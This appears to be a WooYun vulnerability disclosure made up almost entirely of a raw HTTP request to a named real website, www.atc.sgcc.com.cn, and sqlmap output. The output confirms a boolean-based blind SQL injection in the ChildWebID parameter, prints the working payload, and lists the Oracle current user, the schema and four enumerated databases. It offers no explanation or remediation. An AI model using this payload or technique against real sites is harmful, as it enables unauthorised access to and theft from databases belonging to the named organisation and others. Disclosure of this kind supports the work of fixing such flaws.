WooYun.org

GET /sites/atc/pv.jsp?type=SET_SITE_NUMS&ChildWebID=atc&ColumnID=0&InfoID=0 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5
Accept: */*
Accept-Language: en-us,en;q=0.8,en-us,en;q=0.5
Referer: http://www.atc.sgcc.com.cn/
Cache-Control: no-cache
X-Forwarded-For: 127.0.0.1
Host: www.atc.sgcc.com.cn
Accept-Encoding: gzip, deflate
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ChildWebID (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: type=SET_SITE_NUMS&ChildWebID=atc' AND 5789=5789 AND 'FbNs'='FbNs&ColumnID=0&InfoID=0
    Vector: AND [INFERENCE]
current schema (equivalent to database on Oracle):    'ZS_CMS'
current user:    'ZS_CMS'
available databases [4]:
[*] SYS
[*] SYSTEM
[*] ZS_CMS
[*] ZS_SCORE